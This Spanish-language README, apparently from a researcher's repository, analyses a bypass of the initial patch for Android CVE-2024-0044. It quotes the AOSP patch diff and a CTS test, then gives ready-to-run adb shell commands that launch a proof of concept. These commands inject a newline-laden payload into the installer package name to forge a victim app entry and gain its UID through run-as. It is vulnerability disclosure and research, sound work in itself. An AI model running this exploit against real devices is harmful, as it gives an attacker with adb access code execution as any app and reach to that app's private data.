
Prueba de concepto y análisis técnico para evadir el parche inicial de CVE-2024-0044, una vulnerabilidad del framework de Android que permite la escalada de privilegios desde ADB hasta el UID de una aplicación arbitraria mediante la inyección del nombre del paquete del instalador.
CVE-2024-0044/A-307532206 es una vulnerabilidad de gravedad alta en el framework de Android que permite a atacantes con acceso adb ejecutar código arbitrario bajo el UID de cualquier aplicación. Fue encontrada originalmente por Tom Hebb de Meta Red Team X. Puedes encontrar muchos artículos sobre cómo explotar esta vulnerabilidad en Internet, como este y este. Para más información, revisa este blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
El parche para esta vulnerabilidad se incluyó en el Boletín de Seguridad de Android de marzo de 2024, pero ahora he creado un exploit que lo evita. El nuevo parche se incluyó en el Boletín de Seguridad de Android de octubre de 2024 bajo el mismo CVE ID CVE-2024-0044. Los dispositivos Android 12-13 con nivel de parche de seguridad anterior al 2024-10-01 son vulnerables a este problema.
Este repositorio contiene un PoC mínimo reproducible y un informe técnico.
El parche agregó una validación para el nombre del paquete instalador pasado a PackageManagerService:
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
Puedes ver que params.installerPackageName se restablecerá a null si no es un nombre de paquete Android válido. Sin embargo, en la siguiente línea, requestedInstallerPackageName puede ser installerPackageName cuando params.installerPackageName es null o inválido.
¿Qué es installerPackageName?
Echemos un vistazo al método createSessionInternal, donde se agregó el parche:
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
Puedes ver que installerPackageName es un argumento separado que no proviene de param. El parche original validó params.installerPackageName, pero olvidó validar installerPackageName.
Puedes usar simplemente el código de exploit original del blog de Tom Hebb para reproducirlo. Este repositorio también contiene un PoC mínimo reproducible. Si quieres probar mi PoC, constrúyelo, sube el apk generado a /data/local/tmp/poc.apk, luego ejecuta el siguiente código con adb shell:
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
reemplaza <victim uid> con el UID de la aplicación víctima.
Si quieres volver a jugar, ejecuta adb uninstall top.canyie.cve_2024_0044 y vuelve a ejecutar el código anterior.
El problema parece obvio, ¿cómo logró escapar a la vista de todos?
Bueno, Google sí agregó una prueba para este problema y asegurarse de que estuviera corregido:
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);
final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {
// Create session using 'SessionParams' instance, get 'appPackageName' and
// 'installerPackageName' corresponding to session and abandon session later
final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);